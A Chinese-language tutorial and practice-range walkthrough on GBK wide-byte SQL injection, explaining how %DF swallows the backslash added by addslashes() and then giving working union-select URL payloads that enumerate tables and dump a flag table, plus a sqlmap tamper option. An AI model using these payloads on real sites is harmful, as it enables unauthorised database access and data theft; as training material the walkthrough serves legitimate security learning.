11、注入篇--宽字节注入
注入基础
- GBK 编码 两个字节表示一个字符
- ASCII 编码 一个字节表示一个字符
- MYSQL默认字节集是GBK等宽字节字符集
addslashes()函数
addslashes ( string `$str` ) : string返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。只要注入' " \ 空字符 都会转义为 \' \" \\ \
魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】
利用场景
如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
%DF': - 会被PHP当中的addslashes函数转义为:%DF\'
- \ 会被URL编码为 %5C
- 那么 %DF' 会被转义为 %DF%5C%27
- %DF%5C%27是一个宽字节 也就是一个縗'
从而可以进行构造闭合,进行注入
小技巧:有的时候我们也可以用16进制来代替字符串
URL编码
%27---------单引号
%20----------空格
%23-----------#号
%5c------------\反斜杠
靶场
1、进入靶场
2、使用反斜杠进行探测
明明只输入了一个反斜杠,在查询语句中却出现了两个
输入一个单引号却出现反斜杠+单引号
3、有此可以判断,使用了转义函数addslashes()或者魔术引号,试一试可否进行宽字节注入
输入%df’,页面报错,好事情
4、在’后加上注释符-- q
页面返回正常,存在宽字节注入
5、使用order by 判断字段数
可知字段数为3
6、使用联合查询,探测回显点
得到回显点2,3
7、使用version(),查询数据库版本号
5.0以上版本,可以使用information_schema数据库得出数据
8、使用limit依次爆出表名
/index.php?id=0%df' union select 1,2,table_name from
information_schema.tables where table_schema=database() limit 0,1-- q
9、查看china_flag表下的字段名
使用联合查询时
index.php?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columnswhere table_schema=database() and table_name='china_flag'-- q
此时可采用子查询的方式
index.php?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- q
得到china_flag表下的Id和C_Flag字段
10、使用limit依次爆出Id和C_Flag字段信息
index.php?id=0%df' union select 1,Id,C_Flag from china_flag limit 0,1-- q
SQLMap跑宽字节注入
在已知存在宽字节注入的情况下,可使用sqlmap的参数:--tamper unmagicquotes.py
11、注入篇--宽字节注入相关推荐
- mysql宽字节注入_(宽字节注入) 手注+sqlmap
进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入 1.判断列数: http://chinalo ...
- ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入
0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...
- sql注入_1-8_宽字节注入
文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...
- mysql sql宽字节注入_sql注入之宽字节注入
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境 做做实验 实验环境: wamp集成包 实 ...
- 盲注、报错注入、宽字节注入、堆叠注入学习笔记
文章目录 一.盲注 二.报错注入 什么是报错注入 报错注入原理 报错注入的场景 常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...
- 渗透测试学习笔记(一)注入篇-盲注 二次注入 宽字节注入
时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...
- php 宽字节注入 转成utf8,Hr-Papers|宽字节注入深度讲解
/*Team:红日安全团队团队成员:CPRTitle:宽字节注入*/ 原理介绍 基本概概念宽字节是相对于ascII这样单字节而言的:像GB2312.GBK.GB18030.BIG5.Shift_JIS ...
- mysql注入转义绕过_SQL注入防御绕过——宽字节注入
01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...
- SQL--盲注和宽字节注入
先知道这些函数有什么作用 length() 函数 返回字符串的长度 substr() 截取字符串 (语法:SUBSTR(str,pos,len);) ascii() 返回字符的ascii码 [将字符变 ...
最新文章
- 汇编语言-环境安装及各个寄存器介绍
- 站在汽修厂的角度看需求
- SQL语句中timestamp进行排序BUG
- ZfNet解卷积:可视化CNN模型( PythonCode可视化Cifar10)
- Linux日志文件总管——logrotate
- Java学习笔记:BlockingQueue接口
- 机器学习基础(四)——持久化分类器
- ssl证书链的验证的其它方式
- Mysql基础增删改查语句
- 程序员笔名、别名_适合程序员的英文名字
- hexo+next主题优化之加入网易云音乐、网易云跟帖、炫酷动态背景
- CVPR 2018 微表情识别论文
- Java版 设计一个程序, 输入三位数a, 分别输出个,十,百位
- 同城信息发布小程序开发制作
- js中php遍历数组,vue.js如何遍历数组
- [十月往昔]——Linux内核中的list.h浅谈
- 高速破解wifi 使用airolib-ng
- 计算机考c语言的好不好调剂,从三跨考生到初试985调剂211心路历程
- pytorch版本CSNet运行octa数据集的问题
- 卷积神经网络图片放大,神经网络输入图片大小